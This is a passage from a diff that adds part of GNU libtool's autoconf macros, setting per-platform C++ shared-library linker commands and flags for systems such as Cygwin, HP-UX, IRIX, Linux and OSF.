_LT_TAGVAR(ld_shlibs, $1)=no + ;; + esac + ;; + + cygwin* | mingw* | pw32* | cegcc*) + case $GXX,$cc_basename in + ,cl* | no,cl* | ,icl* | no,icl*) + # Native MSVC or ICC + # hardcode_libdir_flag_spec is actually meaningless, as there is + # no search path for DLLs. + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)=' ' + _LT_TAGVAR(allow_undefined_flag, $1)=unsupported + _LT_TAGVAR(always_export_symbols, $1)=yes + _LT_TAGVAR(file_list_spec, $1)='@' + # Tell ltmain to make .lib files, not .a files. + libext=lib + # Tell ltmain to make .dll files, not .so files. + shrext_cmds=.dll + # FIXME: Setting linknames here is a bad hack. + _LT_TAGVAR(archive_cmds, $1)='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~linknames=' + _LT_TAGVAR(archive_expsym_cmds, $1)='if _LT_DLL_DEF_P([$export_symbols]); then + cp "$export_symbols" "$output_objdir/$soname.def"; + echo "$tool_output_objdir$soname.def" > "$output_objdir/$soname.exp"; + else + $SED -e '\''s/^/-link -EXPORT:/'\'' < $export_symbols > $output_objdir/$soname.exp; + fi~ + $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~ + linknames=' + # The linker will not automatically build a static lib if we build a DLL. + # _LT_TAGVAR(old_archive_from_new_cmds, $1)='true' + _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes + # Don't use ranlib + _LT_TAGVAR(old_postinstall_cmds, $1)='chmod 644 $oldlib' + _LT_TAGVAR(postlink_cmds, $1)='lt_outputfile="@OUTPUT@"~ + lt_tool_outputfile="@TOOL_OUTPUT@"~ + case $lt_outputfile in + *.exe|*.EXE) ;; + *) + lt_outputfile=$lt_outputfile.exe + lt_tool_outputfile=$lt_tool_outputfile.exe + ;; + esac~ + func_to_tool_file "$lt_outputfile"~ + if test : != "$MANIFEST_TOOL" && test -f "$lt_outputfile.manifest"; then + $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1; + $RM "$lt_outputfile.manifest"; + fi' + ;; + *) + # g++ + # _LT_TAGVAR(hardcode_libdir_flag_spec, $1) is actually meaningless, + # as there is no search path for DLLs. + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_TAGVAR(export_dynamic_flag_spec, $1)='$wl--export-all-symbols' + _LT_TAGVAR(allow_undefined_flag, $1)=unsupported + _LT_TAGVAR(always_export_symbols, $1)=no + _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes + + if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then + _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname $wl--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib' + # If the export-symbols file already is a .def file, use it as + # is; otherwise, prepend EXPORTS... + _LT_TAGVAR(archive_expsym_cmds, $1)='if _LT_DLL_DEF_P([$export_symbols]); then + cp $export_symbols $output_objdir/$soname.def; + else + echo EXPORTS > $output_objdir/$soname.def; + cat $export_symbols >> $output_objdir/$soname.def; + fi~ + $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname $wl--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib' + else + _LT_TAGVAR(ld_shlibs, $1)=no + fi + ;; + esac + ;; + darwin* | rhapsody*) + _LT_DARWIN_LINKER_FEATURES($1) + ;; + + os2*) + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_TAGVAR(hardcode_minus_L, $1)=yes + _LT_TAGVAR(allow_undefined_flag, $1)=unsupported + shrext_cmds=.dll + _LT_TAGVAR(archive_cmds, $1)='$ECHO "LIBRARY ${soname%$shared_ext} INITINSTANCE TERMINSTANCE" > $output_objdir/$libname.def~ + $ECHO "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~ + $ECHO "DATA MULTIPLE NONSHARED" >> $output_objdir/$libname.def~ + $ECHO EXPORTS >> $output_objdir/$libname.def~ + emxexp $libobjs | $SED /"_DLL_InitTerm"/d >> $output_objdir/$libname.def~ + $CC -Zdll -Zcrtdll -o $output_objdir/$soname $libobjs $deplibs $compiler_flags $output_objdir/$libname.def~ + emximp -o $lib $output_objdir/$libname.def' + _LT_TAGVAR(archive_expsym_cmds, $1)='$ECHO "LIBRARY ${soname%$shared_ext} INITINSTANCE TERMINSTANCE" > $output_objdir/$libname.def~ + $ECHO "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~ + $ECHO "DATA MULTIPLE NONSHARED" >> $output_objdir/$libname.def~ + $ECHO EXPORTS >> $output_objdir/$libname.def~ + prefix_cmds="$SED"~ + if test EXPORTS = "`$SED 1q $export_symbols`"; then + prefix_cmds="$prefix_cmds -e 1d"; + fi~ + prefix_cmds="$prefix_cmds -e \"s/^\(.*\)$/_\1/g\""~ + cat $export_symbols | $prefix_cmds >> $output_objdir/$libname.def~ + $CC -Zdll -Zcrtdll -o $output_objdir/$soname $libobjs $deplibs $compiler_flags $output_objdir/$libname.def~ + emximp -o $lib $output_objdir/$libname.def' + _LT_TAGVAR(old_archive_From_new_cmds, $1)='emximp -o $output_objdir/${libname}_dll.a $output_objdir/$libname.def' + _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes + _LT_TAGVAR(file_list_spec, $1)='@' + ;; + + dgux*) + case $cc_basename in + ec++*) + # FIXME: insert proper C++ library support + _LT_TAGVAR(ld_shlibs, $1)=no + ;; + ghcx*) + # Green Hills C++ Compiler + # FIXME: insert proper C++ library support + _LT_TAGVAR(ld_shlibs, $1)=no + ;; + *) + # FIXME: insert proper C++ library support + _LT_TAGVAR(ld_shlibs, $1)=no + ;; + esac + ;; + + freebsd2.*) + # C++ shared libraries reported to be fairly broken before + # switch to ELF + _LT_TAGVAR(ld_shlibs, $1)=no + ;; + + freebsd-elf*) + _LT_TAGVAR(archive_cmds_need_lc, $1)=no + ;; + + freebsd* | dragonfly* | midnightbsd*) + # FreeBSD 3 and later use GNU C++ and GNU ld with standard ELF + # conventions + _LT_TAGVAR(ld_shlibs, $1)=yes + ;; + + haiku*) + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags $wl-soname $wl$soname -o $lib' + _LT_TAGVAR(link_all_deplibs, $1)=yes + ;; + + hpux9*) + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl+b $wl$libdir' + _LT_TAGVAR(hardcode_libdir_separator, $1)=: + _LT_TAGVAR(export_dynamic_flag_spec, $1)='$wl-E' + _LT_TAGVAR(hardcode_direct, $1)=yes + _LT_TAGVAR(hardcode_minus_L, $1)=yes # Not in the search PATH, + # but as the default + # location of the library. + + case $cc_basename in + CC*) + # FIXME: insert proper C++ library support + _LT_TAGVAR(ld_shlibs, $1)=no + ;; + aCC*) + _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$CC -b $wl+b $wl$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test "x$output_objdir/$soname" = "x$lib" || mv $output_objdir/$soname $lib' + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | $EGREP "\-L"`; list= ; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; func_echo_all "$list"' + ;; + *) + if test yes = "$GXX"; then + _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$CC -shared -nostdlib $pic_flag $wl+b $wl$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test "x$output_objdir/$soname" = "x$lib" || mv $output_objdir/$soname $lib' + else + # FIXME: insert proper C++ library support + _LT_TAGVAR(ld_shlibs, $1)=no + fi + ;; + esac + ;; + + hpux10*|hpux11*) + if test no = "$with_gnu_ld"; then + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl+b $wl$libdir' + _LT_TAGVAR(hardcode_libdir_separator, $1)=: + + case $host_cpu in + hppa*64*|ia64*) + ;; + *) + _LT_TAGVAR(export_dynamic_flag_spec, $1)='$wl-E' + ;; + esac + fi + case $host_cpu in + hppa*64*|ia64*) + _LT_TAGVAR(hardcode_direct, $1)=no + _LT_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + *) + _LT_TAGVAR(hardcode_direct, $1)=yes + _LT_TAGVAR(hardcode_direct_absolute, $1)=yes + _LT_TAGVAR(hardcode_minus_L, $1)=yes # Not in the search PATH, + # but as the default + # location of the library. + ;; + esac + + case $cc_basename in + CC*) + # FIXME: insert proper C++ library support + _LT_TAGVAR(ld_shlibs, $1)=no + ;; + aCC*) + case $host_cpu in + hppa*64*) + _LT_TAGVAR(archive_cmds, $1)='$CC -b $wl+h $wl$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' + ;; + ia64*) + _LT_TAGVAR(archive_cmds, $1)='$CC -b $wl+h $wl$soname $wl+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' + ;; + *) + _LT_TAGVAR(archive_cmds, $1)='$CC -b $wl+h $wl$soname $wl+b $wl$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' + ;; + esac + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | $GREP "\-L"`; list= ; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; func_echo_all "$list"' + ;; + *) + if test yes = "$GXX"; then + if test no = "$with_gnu_ld"; then + case $host_cpu in + hppa*64*) + _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC $wl+h $wl$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' + ;; + ia64*) + _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $pic_flag $wl+h $wl$soname $wl+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' + ;; + *) + _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $pic_flag $wl+h $wl$soname $wl+b $wl$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' + ;; + esac + fi + else + # FIXME: insert proper C++ library support + _LT_TAGVAR(ld_shlibs, $1)=no + fi + ;; + esac + ;; + + interix[[3-9]]*) + _LT_TAGVAR(hardcode_direct, $1)=no + _LT_TAGVAR(hardcode_shlibpath_var, $1)=no + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl-rpath,$libdir' + _LT_TAGVAR(export_dynamic_flag_spec, $1)='$wl-E' + # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc. + # Instead, shared libraries are loaded at an image base (0x10000000 by + # default) and relocated if they conflict, which is a slow very memory + # consuming and fragmenting process. To avoid this, we pick a random, + # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link + # time. Moving up from 0x10000000 also allows more sbrk(2) space. + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags $wl-h,$soname $wl--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib' + _LT_TAGVAR(archive_expsym_cmds, $1)='$SED "s|^|_|" $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags $wl-h,$soname $wl--retain-symbols-file,$output_objdir/$soname.expsym $wl--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib' + ;; + irix5* | irix6*) + case $cc_basename in + CC*) + # SGI C++ + _LT_TAGVAR(archive_cmds, $1)='$CC -shared -all -multigot $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry $output_objdir/so_locations -o $lib' + + # Archives containing C++ object files must be created using + # "CC -ar", where "CC" is the IRIX C++ compiler. This is + # necessary to make sure instantiated templates are included + # in the archive. + _LT_TAGVAR(old_archive_cmds, $1)='$CC -ar -WR,-u -o $oldlib $oldobjs' + ;; + *) + if test yes = "$GXX"; then + if test no = "$with_gnu_ld"; then + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags $wl-soname $wl$soname `test -n "$verstring" && func_echo_all "$wl-set_version $wl$verstring"` $wl-update_registry $wl$output_objdir/so_locations -o $lib' + else + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags $wl-soname $wl$soname `test -n "$verstring" && func_echo_all "$wl-set_version $wl$verstring"` -o $lib' + fi + fi + _LT_TAGVAR(link_all_deplibs, $1)=yes + ;; + esac + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl-rpath $wl$libdir' + _LT_TAGVAR(hardcode_libdir_separator, $1)=: + _LT_TAGVAR(inherit_rpath, $1)=yes + ;; + + linux* | k*bsd*-gnu | kopensolaris*-gnu | gnu*) + case $cc_basename in + KCC*) + # Kuck and Associates, Inc. (KAI) C++ Compiler + + # KCC will only create a shared library if the output file + # ends with ".so" (or ".sl" for HP-UX), so rename the library + # to its proper name (with version) after linking. + _LT_TAGVAR(archive_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\$tempext\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib' + _LT_TAGVAR(archive_expsym_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\$tempext\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib $wl-retain-symbols-file,$export_symbols; mv \$templib $lib' + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`$CC $CFLAGS -v conftest.$objext -o libconftest$shared_ext 2>&1 | $GREP "ld"`; rm -f libconftest$shared_ext; list= ; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; func_echo_all "$list"' + + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl-rpath,$libdir' + _LT_TAGVAR(export_dynamic_flag_spec, $1)='$wl--export-dynamic' + + # Archives containing C++ object files must be created using + # "CC -Bstatic", where "CC" is the KAI C++ compiler. + _LT_TAGVAR(old_archive_cmds, $1)='$CC -Bstatic -o $oldlib $oldobjs' + ;; + icpc* | ecpc* ) + # Intel C++ + with_gnu_ld=yes + # version 8.0 and above of icpc choke on multiply defined symbols + # if we add $predep_objects and $postdep_objects, however 7.1 and + # earlier do not add the objects themselves. + case `$CC -V 2>&1` in + *"Version 7."*) + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags $wl-soname $wl$soname -o $lib' + _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags $wl-soname $wl$soname $wl-retain-symbols-file $wl$export_symbols -o $lib' + ;; + *) # Version 8.0 or newer + tmp_idyn= + case $host_cpu in + ia64*) tmp_idyn=' -i_dynamic';; + esac + _LT_TAGVAR(archive_cmds, $1)='$CC -shared'"$tmp_idyn"' $libobjs $deplibs $compiler_flags $wl-soname $wl$soname -o $lib' + _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared'"$tmp_idyn"' $libobjs $deplibs $compiler_flags $wl-soname $wl$soname $wl-retain-symbols-file $wl$export_symbols -o $lib' + ;; + esac + _LT_TAGVAR(archive_cmds_need_lc, $1)=no + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl-rpath,$libdir' + _LT_TAGVAR(export_dynamic_flag_spec, $1)='$wl--export-dynamic' + _LT_TAGVAR(whole_archive_flag_spec, $1)='$wl--whole-archive$convenience $wl--no-whole-archive' + ;; + pgCC* | pgcpp*) + # Portland Group C++ compiler + case `$CC -V` in + *pgCC\ [[1-5]].* | *pgcpp\ [[1-5]].*) + _LT_TAGVAR(prelink_cmds, $1)='tpldir=Template.dir~ + rm -rf $tpldir~ + $CC --prelink_objects --instantiation_dir $tpldir $objs $libobjs $compile_deplibs~ + compile_command="$compile_command `find $tpldir -name \*.o | sort | $NL2SP`"' + _LT_TAGVAR(old_archive_cmds, $1)='tpldir=Template.dir~ + rm -rf $tpldir~ + $CC --prelink_objects --instantiation_dir $tpldir $oldobjs$old_deplibs~ + $AR $AR_FLAGS $oldlib$oldobjs$old_deplibs `find $tpldir -name \*.o | sort | $NL2SP`~ + $RANLIB $oldlib' + _LT_TAGVAR(archive_cmds, $1)='tpldir=Template.dir~ + rm -rf $tpldir~ + $CC --prelink_objects --instantiation_dir $tpldir $predep_objects $libobjs $deplibs $convenience $postdep_objects~ + $CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | sort | $NL2SP` $postdep_objects $compiler_flags $wl-soname $wl$soname -o $lib' + _LT_TAGVAR(archive_expsym_cmds, $1)='tpldir=Template.dir~ + rm -rf $tpldir~ + $CC --prelink_objects --instantiation_dir $tpldir $predep_objects $libobjs $deplibs $convenience $postdep_objects~ + $CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | sort | $NL2SP` $postdep_objects $compiler_flags $wl-soname $wl$soname $wl-retain-symbols-file $wl$export_symbols -o $lib' + ;; + *) # Version 6 and above use weak symbols + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags $wl-soname $wl$soname -o $lib' + _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags $wl-soname $wl$soname $wl-retain-symbols-file $wl$export_symbols -o $lib' + ;; + esac + + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl--rpath $wl$libdir' + _LT_TAGVAR(export_dynamic_flag_spec, $1)='$wl--export-dynamic' + _LT_TAGVAR(whole_archive_flag_spec, $1)='$wl--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; func_echo_all \"$new_convenience\"` $wl--no-whole-archive' + ;; + cxx*) + # Compaq C++ + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags $wl-soname $wl$soname -o $lib' + _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags $wl-soname $wl$soname -o $lib $wl-retain-symbols-file $wl$export_symbols' + + runpath_var=LD_RUN_PATH + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir' + _LT_TAGVAR(hardcode_libdir_separator, $1)=: + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | $GREP "ld"`; templist=`func_echo_all "$templist" | $SED "s/\(^.*ld.*\)\( .*ld .*$\)/\1/"`; list= ; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; func_echo_all "X$list" | $Xsed' + ;; + xl* | mpixl* | bgxl*) + # IBM XL 8.0 on PPC, with GNU ld + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl-rpath $wl$libdir' + _LT_TAGVAR(export_dynamic_flag_spec, $1)='$wl--export-dynamic' + _LT_TAGVAR(archive_cmds, $1)='$CC -qmkshrobj $libobjs $deplibs $compiler_flags $wl-soname $wl$soname -o $lib' + if test yes = "$supports_anon_versioning"; then + _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $output_objdir/$libname.ver~ + cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~ + echo "local: *; };" >> $output_objdir/$libname.ver~ + $CC -qmkshrobj $libobjs $deplibs $compiler_flags $wl-soname $wl$soname $wl-version-script $wl$output_objdir/$libname.ver -o $lib' + fi + ;; + *) + case `$CC -V 2>&1 | $SED 5q` in + *Sun\ C*) + # Sun C++ 5.9 + _LT_TAGVAR(no_undefined_flag, $1)=' -zdefs' + _LT_TAGVAR(archive_cmds, $1)='$CC -G$allow_undefined_flag -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' + _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -G$allow_undefined_flag -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags $wl-retain-symbols-file $wl$export_symbols' + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' + _LT_TAGVAR(whole_archive_flag_spec, $1)='$wl--whole-archive`new_convenience=; for conv in $convenience\"\"; do test -z \"$conv\" || new_convenience=\"$new_convenience,$conv\"; done; func_echo_all \"$new_convenience\"` $wl--no-whole-archive' + _LT_TAGVAR(compiler_needs_object, $1)=yes + + # Not sure whether something based on + # $CC $CFLAGS -v conftest.$objext -o libconftest$shared_ext 2>&1 + # would be better. + output_verbose_link_cmd='func_echo_all' + + # Archives containing C++ object files must be created using + # "CC -xar", where "CC" is the Sun C++ compiler. This is + # necessary to make sure instantiated templates are included + # in the archive. + _LT_TAGVAR(old_archive_cmds, $1)='$CC -xar -o $oldlib $oldobjs' + ;; + esac + ;; + esac + ;; + + lynxos*) + # FIXME: insert proper C++ library support + _LT_TAGVAR(ld_shlibs, $1)=no + ;; + + m88k*) + # FIXME: insert proper C++ library support + _LT_TAGVAR(ld_shlibs, $1)=no + ;; + + mvs*) + case $cc_basename in + cxx*) + # FIXME: insert proper C++ library support + _LT_TAGVAR(ld_shlibs, $1)=no + ;; + *) + # FIXME: insert proper C++ library support + _LT_TAGVAR(ld_shlibs, $1)=no + ;; + esac + ;; + + netbsd*) + if echo __ELF__ | $CC -E - | $GREP __ELF__ >/dev/null; then + _LT_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $predep_objects $libobjs $deplibs $postdep_objects $linker_flags' + wlarc= + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' + _LT_TAGVAR(hardcode_direct, $1)=yes + _LT_TAGVAR(hardcode_shlibpath_var, $1)=no + fi + # Workaround some broken pre-1.5 toolchains + output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | $GREP conftest.$objext | $SED -e "s:-lgcc -lc -lgcc::"' + ;; + + *nto* | *qnx*) + _LT_TAGVAR(ld_shlibs, $1)=yes + ;; + + openbsd* | bitrig*) + if test -f /usr/libexec/ld.so; then + _LT_TAGVAR(hardcode_direct, $1)=yes + _LT_TAGVAR(hardcode_shlibpath_var, $1)=no + _LT_TAGVAR(hardcode_direct_absolute, $1)=yes + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib' + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl-rpath,$libdir' + if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`"; then + _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags $wl-retain-symbols-file,$export_symbols -o $lib' + _LT_TAGVAR(export_dynamic_flag_spec, $1)='$wl-E' + _LT_TAGVAR(whole_archive_flag_spec, $1)=$wlarc'--whole-archive$convenience '$wlarc'--no-whole-archive' + fi + output_verbose_link_cmd=func_echo_all + else + _LT_TAGVAR(ld_shlibs, $1)=no + fi + ;; + + osf3* | osf4* | osf5*) + case $cc_basename in + KCC*) + # Kuck and Associates, Inc. (KAI) C++ Compiler + + # KCC will only create a shared library if the output file + # ends with ".so" (or ".sl" for HP-UX), so rename the library + # to its proper name (with version) after linking. + _LT_TAGVAR(archive_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo "$lib" | $SED -e "s/\$tempext\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib' + + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl-rpath,$libdir' + _LT_TAGVAR(hardcode_libdir_separator, $1)=: + + # Archives containing C++ object files must be created using + # the KAI C++ compiler. + case $host in + osf3*) _LT_TAGVAR(old_archive_cmds, $1)='$CC -Bstatic -o $oldlib $oldobjs' ;; + *) _LT_TAGVAR(old_archive_cmds, $1)='$CC -o $oldlib $oldobjs' ;; + esac + ;; + RCC*) + # Rational C++ 2.4.1 + # FIXME: insert proper C++ library support + _LT_TAGVAR(ld_shlibs, $1)=no + ;; + cxx*) + case $host in + osf3*) + _LT_TAGVAR(allow_undefined_flag, $1)=' $wl-expect_unresolved $wl\*' + _LT_TAGVAR(archive_cmds, $1)='$CC -shared$allow_undefined_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags $wl-soname $soname `test -n "$verstring" && func_echo_all "$wl-set_version $verstring"` -update_registry $output_objdir/so_locations -o $lib' + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl-rpath $wl$libdir' + ;; + *) + _LT_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*' + _LT_TAGVAR(archive_cmds, $1)='$CC -shared$allow_undefined_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry $output_objdir/so_locations -o $lib' + _LT_TAGVAR(archive_expsym_cmds, $1)='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done~ + echo "-hidden">> $lib.exp~ + $CC -shared$allow_undefined_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname $wl-input $wl$lib.exp `test -n "$verstring" && $ECHO "-set_version $verstring"` -update_registry $output_objdir/so_locations -o $lib~ + $RM $lib.exp' + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir' + ;; + esac + + _LT_TAGVAR(hardcode_libdir_separator, $1)=: + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | $GREP "ld" | $GREP -v "ld:"`; templist=`func_echo_all "$templist" | $SED "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list= ; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; func_echo_all "$list"' + ;; + *) + if test yes,no = "$GXX,$with_gnu_ld"; then + _LT_TAGVAR(allow_undefined_flag, $1)=' $wl-expect_unresolved $wl\*' + case $host in + osf3*) + _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $allow_undefined_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags $wl-soname $wl$soname `test -n "$verstring" && func_echo_all "$wl-set_version $wl$verstring"` $wl-update_registry $wl$output_objdir/so_locations -o $lib' + ;; + *) + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -nostdlib $allow_undefined_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags $wl-msym $wl-soname $wl$soname `test -n "$verstring" && func_echo_all "$wl-set_version $wl$verstring"` $wl-update_registry $wl$output_objdir/so_locations -o $lib' + ;; + esac + + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl-rpath $wl$libdir' + _LT_TAGVAR(hardcode_libdir_separator, $1)=: + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | $GREP -v "^Configured with:" | $GREP "\-L"' + + else + # FIXME: insert proper C++ library support + _LT_TAGVAR(ld_shlibs, $1)=no + fi + ;; + esac + ;; + + psos*) + # FIXME: insert proper C++ library support + _LT_TAGVAR(ld_shlibs, $1)=no + ;; + + sunos4*) + case $cc_basename in + CC*) + # Sun C++ 4.x + # FIXME: insert proper C++ library support + _LT_TAGVAR(ld_shlibs, $1)=no + ;; + lcc*) + # Lucid + # FIXME: insert proper C++ library support + _LT_TAGVAR(ld_shlibs, $1)=no + ;; + *) + # FIXME: insert proper C++ library support + _LT_TAGVAR(ld_shlibs, 